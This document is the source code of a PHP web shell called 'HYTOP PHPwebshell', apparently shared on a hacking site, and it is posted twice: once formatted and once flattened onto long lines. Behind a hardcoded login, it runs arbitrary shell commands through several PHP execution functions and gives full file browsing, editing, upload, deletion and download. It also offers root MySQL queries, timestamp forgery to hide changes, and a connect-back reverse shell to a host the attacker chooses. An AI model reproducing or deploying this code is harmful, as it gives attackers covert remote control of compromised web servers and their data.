<?php
/**
Thk:angle maple-x wwofeiwo Netpath
HYTOP PHPwebshell 0.0001ver only test windows2003+APMServ5.2.0
**/
error_reporting(1);
$adminu = “lcx”;
$adminp = “202cb962ac59075b964b07152d234b70″;
$url=$_SERVER['PHP_SELF'];
if ($_POST['sendadmin'] == ‘Login’) {
if ( md5(trim($_POST['adminpass']))==$adminp&&trim($_POST['adminuser'])==$adminu) {
setcookie (“adminpass”,md5(trim($_POST['adminpass'])),time()+(1*24*36000));
echo “<meta http-equiv=refresh content=0;URL=”.$_SERVER['PHP_SELF'].”?acton=path>”;
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $adminp and trim($_POST['adminuser']) !=$adminu) {
loginpage();
}
} else {
loginpage();
}
$downfile=$_GET['downfilename'];
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo “<script>alert(‘no exists!’)</script>”;
} else {
$filename = basename($downfile);
$filename_info = explode(‘.’, $filename);
$fileext = $filename_info[count($filename_info)-1];
@header(‘Content-type: application/x-’.$fileext);
@header(‘Content-Disposition: attachment; filename=’.$filename);
@header(‘Content-Description: PHP Generated Data’);
@header(‘Content-Length: ‘.filesize($downfile));
@readfile($downfile);
exit;
}
}
if ($_GET['acton']==”path”){
$sCwd = (substr(PHP_OS, 0, 3) == ‘WIN’) ? strtolower(getcwd()) : getcwd();
echo “webph:<br><a href=# onclick=\”vbs:window.open ‘$url?acton=list&page=$sCwd’\”>$sCwd</a>  <a href=$_SERVER[PHP_SELF]?acton=upload> upfile </a>  <a href=$_SERVER[PHP_SELF]?acton=cmd> cmd </a>  <a href=$_SERVER[PHP_SELF]?acton=phpinfo> phpinfo </a>  <a href=$_SERVER[PHP_SELF]?acton=mysql> mysql </a>  <a href=$_SERVER[PHP_SELF]?acton=nc> ncshell </a><br>”;
$letters = range(‘b’,'z’);echo “drive:<br>”;
foreach($letters as $drive){
if (is_dir($drive.’:'))
{
$freespace = disk_free_space($drive.’:');
$total_space = disk_total_space($drive.’:');
$percentage_free = $freespace ? round($freespace / $total_space, 2) * 100 : 0;
$message=’: ‘.to_readble_size($freespace).’ / ‘.to_readble_size($total_space).’ ['.$percentage_free.'%]‘;
echo “<a href=# language=vbscript onclick=\”window.open ‘$url?acton=list&page=$drive:’\” >$drive</a>$message<br>”;
//echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$drive:’\”>$drive</a>$message<br>”;
}
}
}
if ($_GET['acton']==”read”) {
echo “<form action=” name=frm2 method=POST> <textarea name=textarea cols=100 rows=25 >”;
$cls=htmlentities(file_get_contents($_GET['filename']));
echo $cls;
echo “</textarea><INPUT type=submit name=button2 value=edit></form><br>”;
if ($_POST['button2']==”edit”) {
fputs(fopen($_GET['filename'],’w'), stripslashes($_POST['textarea']));
echo “<script language=vbs>msgbox(\”ok,read again\”):location.href=window.location.href</script>”;
}
}
if ($_GET['acton']==”upload”) {
echo “<form enctype=’multipart/form-data’ action=” method=’POST’ name=frm3>”;
echo “<input type=’hidden’ name=’MAX_FILE_SIZE’ value=’300000′ >”;
echo “upload path: <input name=’uploadpath’ type=’text’ value=’c:/’>”;
echo “Send this file: <input name=’userfile’ type=’file’ >”;
echo “<input type=’submit’ value=’SendFile’ name=button3 >”;
echo “</form>”;
$uploaddir = $_POST['uploadpath'];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo ‘<pre>’;
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo “File is valid, and was successfully uploaded.\n”;
} else {
echo “Possible file upload attack!\n”;
}
echo ‘Here is some more debugging info:’;
print_r($_FILES);
echo “</pre>”;
}
if ($_GET['acton']==”del”) {
@unlink($_GET['filename']);
}
if ($_GET['acton']==”copy”) {
copy($_GET['filename'],$_GET['newfile']);
}
if ($_GET['acton']==”move”) {
@rename($_GET['filename'],$_GET['newfile']);
}
if ($_GET['acton']==”list”) {
list_dir(stripslashes($_GET[page]));
}
if ($_GET['acton']==”phpinfo”) {
phpinfo();
}
if($_GET['acton']==”cfiletime”){
print<<<eof
<form action=”" method=”POST” name=time>
MODIFY:
<input name=”year” value=”2003″ type=”text” size=”4″ >
YEAR <select name=”month” >
<option value=”January”>1</option>
<option value=”February”>2</option>
<option value=”March”>3</option>
<option value=”April”>4</option>
<option value=”May”>5</option>
<option value=”June”>6</option>
<option value=”July”>7</option>
<option value=”August”>8</option>
<option value=”September”>9</option>
<option value=”October” selected>1</option>
<option value=”November”>11</option>
<option value=”December”>12</option>
</select>
MONTH
<input name=”data” value=”13″ type=”text” size=”2″ >
DAY <input name=”hour” value=”13″ type=”text” size=”2″ >
HOUR <input name=”minute” value=”00″ type=”text” size=”2″ >
MINUTE <input name=”second” value=”00″ type=”text” size=”2″ >
SECOND
<input type=”submit” value=”sure” name=”sure”>
</form>
eof;
if ($_POST['sure']==”sure”){
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
$time=strtotime(“$data $month $year $hour:$minute:$second”);
echo (@touch($_GET['cfile'],$time)) ? $_POST['curfile'].” CHANGE “.date(“Y-m-d H:i:s”,$time).” !” : “FALSE!”;
}
}
if ($_GET['acton']==”mysql”){
print<<<eof
<FORM METHOD=”POST” ENCTYPE=”multipart/form-data” action=”">
<INPUT TYPE=”text” NAME=”host” value=”localhost”>
<INPUT TYPE=”text” NAME=”db” value=”mysql”>
<INPUT TYPE=”text” NAME=”user” value=”root”>
<INPUT TYPE=”text” NAME=”pass” value=”">
<INPUT TYPE=”text” NAME=”sql” size=100 value=”show tables;”>
<INPUT TYPE=”SUBMIT” name=mysql value=”mysql”>
</FORM>
eof;
if ($_POST['mysql']==”mysql”){
mysql_connect(“$_POST[host]“, “$_POST[user]“, “$_POST[pass]“) or
die(“Could not connect: ” . mysql_error());
mysql_select_db(“$_POST[db]“);
$sql=stripslashes(“$_POST[sql]“);
$result = mysql_query(“$_POST[sql]“);
echo “<pre>”;
while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
for ($j=0; $j < count($row); $j++) {
printf (” $row[$j] ”);
}
echo “<br>”;
}
mysql_free_result($result);
}
}
if ($_GET['acton']==”cmd”){
print<<<eof
<form action=”" method=”POST”>
<select name=”execfunc” >
<option value=”system”>system</option>
<option value=”passthru”>passthru</option>
<option value=”exec”>exec</option>
<option value=”shell_exec”>shell_exec</option>
<option value=”popen”>popen</option>
<option value=”wscript”>Wscript.Shell</option>
<option value=”wscript”>Backticks</option>
<option value=”wscript”>proc_open</option>
</select>
<input name=”command” value=”" type=”text” size=”60″ >
<input name=”sumbit” type=”submit” value=”run” size=”30″ >
<textarea name=”textarea” cols=”100″ rows=”25″ readonly>
eof;
switch($_POST['execfunc'])
{
case ’system’:
system(stripslashes($_POST['command']));
break;
case ‘passthru’:
passthru(stripslashes($_POST['command']));
break;
case ‘exec’:
exec(stripslashes($_POST['command']),$result);
foreach ($result as $line)
echo “$line\n”;
case ’shell_exec’:
$result=shell_exec(stripslashes($_POST['command']));
echo $result;
braek;
case ‘popen’:
$_POST['command']=$_POST['command'].’>’.'02839tmp’;
echo $_POST['command'];
$pp = popen(stripslashes($_POST['command']), ‘r’);
pclose($pp);
$handle = fopen(getenv(DOCUMENT_ROOT).’/02839tmp’, “r”);
$contents = fread($handle, filesize (getenv(DOCUMENT_ROOT).’/02839tmp’));
echo $contents;
fclose($handle);
break;
case ‘wscript’:
$wsh = new COM(‘WScript.shell’) or die(“PHP Create COM WSHSHELL failed”);
$exec = $wsh->exec (“cmd.exe /c “.stripslashes($_POST['command']).”");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
break;
case ‘Backticks’:
$a=stripslashes($_POST['command']);
$result=`$a`;
echo $result;
break;
case ‘proc_open’:
$descriptorspec = array(
0 => array(“pipe”, “r”),
1 => array(“pipe”, “w”),
2 => array(“pipe”, “w”)
);
$process = proc_open(“”.$_POST['command'].”", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], “”.$_POST['command'].”\r\n”);
fwrite($pipes[0], “exit\r\n”);
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
break;
default:
//@system($_POST['command']);
break;
}
}
echo “</textarea>”;
if ($_GET['acton']==”nc”){
if(isset($_POST['host']) && isset($_POST['port']))
{
$host = $_POST['host'];
$port = $_POST['port'];
}else{
print<<<eof
<form method=post action=”">
Host:<input type=text name=host><br />
Port: <input type=text name=port><br />
<input type=radio name=info check=checked value=linux>Linux
<input type=radio name=info value=win>Win<br />
<input type=submit name=submit value=”反弹连接”>
eof;
print(“————————————————————-”).”<br />”;
print(“注意:win的反弹需要PHP支持socket”).”<br />”;
print(” Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()”).”<br />”;
print(” 错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt”).”<br />”;
die(“欢迎测试”);
}
if($_POST['info']==”win”)
{
$ph=str_replace(chr(92),chr(92).chr(92),$_SERVER['SystemRoot']).chr(92).chr(92).”system32″ ;
$env=array(‘path’ => $ph);
$descriptorspec = array(
0 => array(“pipe”,”r”),
1 => array(“pipe”,”w”),
2 => array(“file”,”log.txt”,”a”),
);
}else{
$env = array(‘PATH’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);
$descriptorspec = array(
0 => array(“pipe”,”r”),
1 => array(“pipe”,”w”),
2 => array(“file”,”/tmp/log.txt”,”a”),
);
}
$host=gethostbyname($host);
$proto=getprotobyname(“tcp”);
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
{
die(“Socket Create Faile”);
}
if(($ret=socket_connect($sock,$host,$port))<0)
{
die(“Connect Faile”);
}else{
$message=”———————-PHP Connect-Back——————–\n”;
socket_write($sock,$message,strlen($message));
$cwd=str_replace(‘\\’,'/’,dirname(__FILE__));
while($cmd=socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))==”exit”)
{
socket_write($sock,”Bye Bye\n”);
exit;
}else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$return_value = proc_close($process);
}
}
}
}
}
function list_dir($path)
{
$dh = opendir($path);
while (($dir = readdir($dh)) !== false) {
$pathurl=urlencode($path);
$dirurl=urlencode($dir);
if ( $dir != “.” && $dir != “..” ){
if (is_dir(“$path/$dir”) ){
echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$path/$dir’\”><b>$path/$dir</b></a><br>”;
}
elseif (!is_dir(“$path/$dir”))
$ctime=date(“Y-m-d H:i:s”,filectime(“$path/$dir”));
$mtime=date(“Y-m-d H:i:s”,filemtime(“$path/$dir”));
$size=to_readble_size(filesize(“$path/$dir”));
$fileperm=substr(base_convert(@fileperms(“$path/$dir”),10,8),-4);
echo ” $dir ($ctime)<a href=$_SERVER[PHP_SELF]?acton=cfiletime&cfile=$pathurl/$dirurl> ($mtime)</a>($size) ($fileperm)<a href=$_SERVER[PHP_SELF]?acton=read&filename=$pathurl/$dirurl target=_blank > read </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'copy’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> copy </a><a href=# onclick=\”vbs:rellay’sure?’,4,’$pathurl/$dirurl’\”> del </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'move’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> move&rename </a><a href=$_SERVER[PHP_SELF]?downfilename=$pathurl/$dirurl> down </a><br>”;
}
}
closedir($dh);
}
function to_readble_size($size)
{
switch (true)
{
case ($size > 1000000000000):
$size /= 1000000000000;
$suffix = ‘TB’;
break;
case ($size > 1000000000):
$size /= 1000000000;
$suffix = ‘GB’;
break;
case ($size > 1000000):
$size /= 1000000;
$suffix = ‘MB’;
break;
case ($size > 1000):
$size /= 1000;
$suffix = ‘KB’;
break;
default:
$suffix = ‘B’;
}
return round($size, 2).$suffix;
}
function loginpage() {
print<<<eof
<center>
<form method=”POST” action=”" name=frm4>
<input name=”adminuser” type=”text” size=”20″>
<input name=”adminpass” type=”password” size=”20″>
<input type=”submit” value=”Login” name=”sendadmin”>
</form>
</center>
eof;
exit;
}?>
<head>
<title>HYTOP PHPwebshell 0.0001ver code by lcx</title>
<SCRIPT language=vbscript>
function rellay(m,b,f)
c=MsgBox(m,b,”del “&f)
If c=6 Then
location.href=”?acton=del&filename=”&f
’set obbjpopwin=window.open(“?acton=del&filename=”&f)
’set obbjpopwin.opener=self
msgbox “ok “
location.href=window.location.href
‘on error resume next
‘obbjpopwin.close()
’set obbjpopwin=nothing
End If
End function
function ctrl(oldfile,acton,newfile)
‘newfile=Inputbox(“NewFile AD”,”?”,newfile)
location.href=”?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile
‘window.open “?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile
’set obbjpopwin=window.open(“?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile)
’set obbjpopwin.opener=self
msgbox “ok “
location.href=window.location.href
‘on error resume next
‘obbjpopwin.close()
’set obbjpopwin=nothing
end function
</script>
</head>
<?php/**Thk:angle maple-x wwofeiwo NetpathHYTOP PHPwebshell 0.0001ver only test windows2003+APMServ5.2.0**/error_reporting(1);$adminu = “lcx”;$adminp = “202cb962ac59075b964b07152d234b70″;$url=$_SERVER['PHP_SELF'];if ($_POST['sendadmin'] == ‘Login’) { if ( md5(trim($_POST['adminpass']))==$adminp&&trim($_POST['adminuser'])==$adminu) { setcookie (“adminpass”,md5(trim($_POST['adminpass'])),time()+(1*24*36000)); echo “<meta http-equiv=refresh content=0;URL=”.$_SERVER['PHP_SELF'].”?acton=path>”; exit; }}if (isset($_COOKIE['adminpass'])) { if ($_COOKIE['adminpass'] != $adminp and trim($_POST['adminuser']) !=$adminu) { loginpage(); }} else { loginpage();}
$downfile=$_GET['downfilename'];if (!empty($downfile)) {if (!@file_exists($downfile)) { echo “<script>alert(‘no exists!’)</script>”;} else { $filename = basename($downfile); $filename_info = explode(‘.’, $filename); $fileext = $filename_info[count($filename_info)-1]; @header(‘Content-type: application/x-’.$fileext); @header(‘Content-Disposition: attachment; filename=’.$filename); @header(‘Content-Description: PHP Generated Data’); @header(‘Content-Length: ‘.filesize($downfile)); @readfile($downfile); exit;}}if ($_GET['acton']==”path”){$sCwd = (substr(PHP_OS, 0, 3) == ‘WIN’) ? strtolower(getcwd()) : getcwd();echo “webph:<br><a href=# onclick=\”vbs:window.open ‘$url?acton=list&page=$sCwd’\”>$sCwd</a>  <a href=$_SERVER[PHP_SELF]?acton=upload> upfile </a>  <a href=$_SERVER[PHP_SELF]?acton=cmd> cmd </a>  <a href=$_SERVER[PHP_SELF]?acton=phpinfo> phpinfo </a>  <a href=$_SERVER[PHP_SELF]?acton=mysql> mysql </a>  <a href=$_SERVER[PHP_SELF]?acton=nc> ncshell </a><br>”;$letters = range(‘b’,'z’);echo “drive:<br>”;foreach($letters as $drive){ if (is_dir($drive.’:')) { $freespace = disk_free_space($drive.’:'); $total_space = disk_total_space($drive.’:'); $percentage_free = $freespace ? round($freespace / $total_space, 2) * 100 : 0; $message=’: ‘.to_readble_size($freespace).’ / ‘.to_readble_size($total_space).’ ['.$percentage_free.'%]‘; echo “<a href=# language=vbscript onclick=\”window.open ‘$url?acton=list&page=$drive:’\” >$drive</a>$message<br>”; //echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$drive:’\”>$drive</a>$message<br>”; } }}
if ($_GET['acton']==”read”) {echo “<form action=” name=frm2 method=POST> <textarea name=textarea cols=100 rows=25 >”;$cls=htmlentities(file_get_contents($_GET['filename']));echo $cls;echo “</textarea><INPUT type=submit name=button2 value=edit></form><br>”;if ($_POST['button2']==”edit”) {fputs(fopen($_GET['filename'],’w'), stripslashes($_POST['textarea']));echo “<script language=vbs>msgbox(\”ok,read again\”):location.href=window.location.href</script>”; }}if ($_GET['acton']==”upload”) { echo “<form enctype=’multipart/form-data’ action=” method=’POST’ name=frm3>”; echo “<input type=’hidden’ name=’MAX_FILE_SIZE’ value=’300000′ >”; echo “upload path: <input name=’uploadpath’ type=’text’ value=’c:/’>”; echo “Send this file: <input name=’userfile’ type=’file’ >”; echo “<input type=’submit’ value=’SendFile’ name=button3 >”; echo “</form>”; $uploaddir = $_POST['uploadpath']; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); echo ‘<pre>’; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo “File is valid, and was successfully uploaded.\n”; } else { echo “Possible file upload attack!\n”; }echo ‘Here is some more debugging info:’;print_r($_FILES); echo “</pre>”;
}if ($_GET['acton']==”del”) { @unlink($_GET['filename']);}
if ($_GET['acton']==”copy”) {copy($_GET['filename'],$_GET['newfile']);}if ($_GET['acton']==”move”) {@rename($_GET['filename'],$_GET['newfile']);}
if ($_GET['acton']==”list”) {list_dir(stripslashes($_GET[page]));}if ($_GET['acton']==”phpinfo”) {phpinfo();}if($_GET['acton']==”cfiletime”){print<<<eof<form action=”" method=”POST” name=time>MODIFY:<input name=”year” value=”2003″ type=”text” size=”4″ >YEAR <select name=”month” ><option value=”January”>1</option><option value=”February”>2</option><option value=”March”>3</option><option value=”April”>4</option><option value=”May”>5</option><option value=”June”>6</option><option value=”July”>7</option><option value=”August”>8</option><option value=”September”>9</option><option value=”October” selected>1</option><option value=”November”>11</option><option value=”December”>12</option></select>MONTH<input name=”data” value=”13″ type=”text” size=”2″ >DAY <input name=”hour” value=”13″ type=”text” size=”2″ >HOUR <input name=”minute” value=”00″ type=”text” size=”2″ >MINUTE <input name=”second” value=”00″ type=”text” size=”2″ >SECOND<input type=”submit” value=”sure” name=”sure”></form>eof;if ($_POST['sure']==”sure”){$year=$_POST['year'];$month=$_POST['month'];$data=$_POST['data']; $hour=$_POST['hour'];$minute=$_POST['minute'];$second=$_POST['second'];$time=strtotime(“$data $month $year $hour:$minute:$second”);echo (@touch($_GET['cfile'],$time)) ? $_POST['curfile'].” CHANGE “.date(“Y-m-d H:i:s”,$time).” !” : “FALSE!”;}}if ($_GET['acton']==”mysql”){print<<<eof<FORM METHOD=”POST” ENCTYPE=”multipart/form-data” action=”"><INPUT TYPE=”text” NAME=”host” value=”localhost”><INPUT TYPE=”text” NAME=”db” value=”mysql”><INPUT TYPE=”text” NAME=”user” value=”root”><INPUT TYPE=”text” NAME=”pass” value=”"><INPUT TYPE=”text” NAME=”sql” size=100 value=”show tables;”><INPUT TYPE=”SUBMIT” name=mysql value=”mysql”></FORM>eof;if ($_POST['mysql']==”mysql”){ mysql_connect(“$_POST[host]“, “$_POST[user]“, “$_POST[pass]“) or die(“Could not connect: ” . mysql_error()); mysql_select_db(“$_POST[db]“);$sql=stripslashes(“$_POST[sql]“); $result = mysql_query(“$_POST[sql]“); echo “<pre>”; while ($row = mysql_fetch_array($result, MYSQL_BOTH)) { for ($j=0; $j < count($row); $j++) { printf (” $row[$j] ”); }echo “<br>”; } mysql_free_result($result);}}if ($_GET['acton']==”cmd”){print<<<eof<form action=”" method=”POST”><select name=”execfunc” ><option value=”system”>system</option><option value=”passthru”>passthru</option><option value=”exec”>exec</option><option value=”shell_exec”>shell_exec</option><option value=”popen”>popen</option><option value=”wscript”>Wscript.Shell</option><option value=”wscript”>Backticks</option><option value=”wscript”>proc_open</option></select><input name=”command” value=”" type=”text” size=”60″ ><input name=”sumbit” type=”submit” value=”run” size=”30″ ><textarea name=”textarea” cols=”100″ rows=”25″ readonly>eof;switch($_POST['execfunc']){ case ’system’: system(stripslashes($_POST['command'])); break; case ‘passthru’: passthru(stripslashes($_POST['command'])); break; case ‘exec’: exec(stripslashes($_POST['command']),$result); foreach ($result as $line) echo “$line\n”; case ’shell_exec’: $result=shell_exec(stripslashes($_POST['command'])); echo $result; braek; case ‘popen’: $_POST['command']=$_POST['command'].’>’.'02839tmp’; echo $_POST['command']; $pp = popen(stripslashes($_POST['command']), ‘r’); pclose($pp); $handle = fopen(getenv(DOCUMENT_ROOT).’/02839tmp’, “r”); $contents = fread($handle, filesize (getenv(DOCUMENT_ROOT).’/02839tmp’)); echo $contents; fclose($handle); break; case ‘wscript’: $wsh = new COM(‘WScript.shell’) or die(“PHP Create COM WSHSHELL failed”); $exec = $wsh->exec (“cmd.exe /c “.stripslashes($_POST['command']).”"); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; break; case ‘Backticks’: $a=stripslashes($_POST['command']); $result=`$a`; echo $result; break; case ‘proc_open’: $descriptorspec = array( 0 => array(“pipe”, “r”), 1 => array(“pipe”, “w”), 2 => array(“pipe”, “w”));$process = proc_open(“”.$_POST['command'].”", $descriptorspec, $pipes);if (is_resource($process)) { fwrite($pipes[0], “”.$_POST['command'].”\r\n”); fwrite($pipes[0], “exit\r\n”); fclose($pipes[0]); while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process);} break; default: //@system($_POST['command']); break;}}echo “</textarea>”;
if ($_GET['acton']==”nc”){if(isset($_POST['host']) && isset($_POST['port'])){ $host = $_POST['host']; $port = $_POST['port'];}else{ print<<<eof<form method=post action=”">Host:<input type=text name=host><br />Port: <input type=text name=port><br /> <input type=radio name=info check=checked value=linux>Linux <input type=radio name=info value=win>Win<br /> <input type=submit name=submit value=”反弹连接”>eof;print(“————————————————————-”).”<br />”;print(“注意:win的反弹需要PHP支持socket”).”<br />”;print(” Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()”).”<br />”;print(” 错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt”).”<br />”;die(“欢迎测试”);}if($_POST['info']==”win”){ $ph=str_replace(chr(92),chr(92).chr(92),$_SERVER['SystemRoot']).chr(92).chr(92).”system32″ ; $env=array(‘path’ => $ph); $descriptorspec = array( 0 => array(“pipe”,”r”), 1 => array(“pipe”,”w”), 2 => array(“file”,”log.txt”,”a”),);}else{ $env = array(‘PATH’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’); $descriptorspec = array( 0 => array(“pipe”,”r”), 1 => array(“pipe”,”w”), 2 => array(“file”,”/tmp/log.txt”,”a”), );}$host=gethostbyname($host);$proto=getprotobyname(“tcp”);if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){ die(“Socket Create Faile”);}if(($ret=socket_connect($sock,$host,$port))<0){ die(“Connect Faile”);}else{$message=”———————-PHP Connect-Back——————–\n”;socket_write($sock,$message,strlen($message));$cwd=str_replace(‘\\’,'/’,dirname(__FILE__));while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))==”exit”) { socket_write($sock,”Bye Bye\n”); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $return_value = proc_close($process);} }}}}
function list_dir($path){$dh = opendir($path);while (($dir = readdir($dh)) !== false) {$pathurl=urlencode($path);$dirurl=urlencode($dir); if ( $dir != “.” && $dir != “..” ){ if (is_dir(“$path/$dir”) ){ echo “<a href=# onclick=\”vbs:location.href=’?acton=list&page=$path/$dir’\”><b>$path/$dir</b></a><br>”; } elseif (!is_dir(“$path/$dir”)) $ctime=date(“Y-m-d H:i:s”,filectime(“$path/$dir”)); $mtime=date(“Y-m-d H:i:s”,filemtime(“$path/$dir”)); $size=to_readble_size(filesize(“$path/$dir”)); $fileperm=substr(base_convert(@fileperms(“$path/$dir”),10,8),-4); echo ” $dir ($ctime)<a href=$_SERVER[PHP_SELF]?acton=cfiletime&cfile=$pathurl/$dirurl> ($mtime)</a>($size) ($fileperm)<a href=$_SERVER[PHP_SELF]?acton=read&filename=$pathurl/$dirurl target=_blank > read </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'copy’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> copy </a><a href=# onclick=\”vbs:rellay’sure?’,4,’$pathurl/$dirurl’\”> del </a><a href=# onclick=\”vbs:ctrl’$pathurl/$dirurl’,'move’,Inputbox(‘NewFile AD’,'$pathurl/$dirurl’,'c:/1.txt’)\”> move&rename </a><a href=$_SERVER[PHP_SELF]?downfilename=$pathurl/$dirurl> down </a><br>”; } }
closedir($dh);}function to_readble_size($size) { switch (true) { case ($size > 1000000000000): $size /= 1000000000000; $suffix = ‘TB’; break; case ($size > 1000000000): $size /= 1000000000; $suffix = ‘GB’; break; case ($size > 1000000): $size /= 1000000; $suffix = ‘MB’; break; case ($size > 1000): $size /= 1000; $suffix = ‘KB’; break; default: $suffix = ‘B’; } return round($size, 2).$suffix; } function loginpage() {print<<<eof<center><form method=”POST” action=”" name=frm4><input name=”adminuser” type=”text” size=”20″><input name=”adminpass” type=”password” size=”20″><input type=”submit” value=”Login” name=”sendadmin”></form></center>eof;exit;}?><head><title>HYTOP PHPwebshell 0.0001ver code by lcx</title><SCRIPT language=vbscript>function rellay(m,b,f)c=MsgBox(m,b,”del “&f)If c=6 Thenlocation.href=”?acton=del&filename=”&f’set obbjpopwin=window.open(“?acton=del&filename=”&f)’set obbjpopwin.opener=selfmsgbox “ok “location.href=window.location.href’on error resume next’obbjpopwin.close()’set obbjpopwin=nothingEnd IfEnd function
function ctrl(oldfile,acton,newfile)’newfile=Inputbox(“NewFile AD”,”?”,newfile)location.href=”?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile’window.open “?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile’set obbjpopwin=window.open(“?acton=”&acton&”&filename=”&oldfile&”&newfile=”&newfile)’set obbjpopwin.opener=selfmsgbox “ok “location.href=window.location.href’on error resume next’obbjpopwin.close()’set obbjpopwin=nothingend function</script></head>
Never speak about hacking projects over your home telephone line. 不在家庭电话中谈论你Hack的任何事情。
官方网站： 
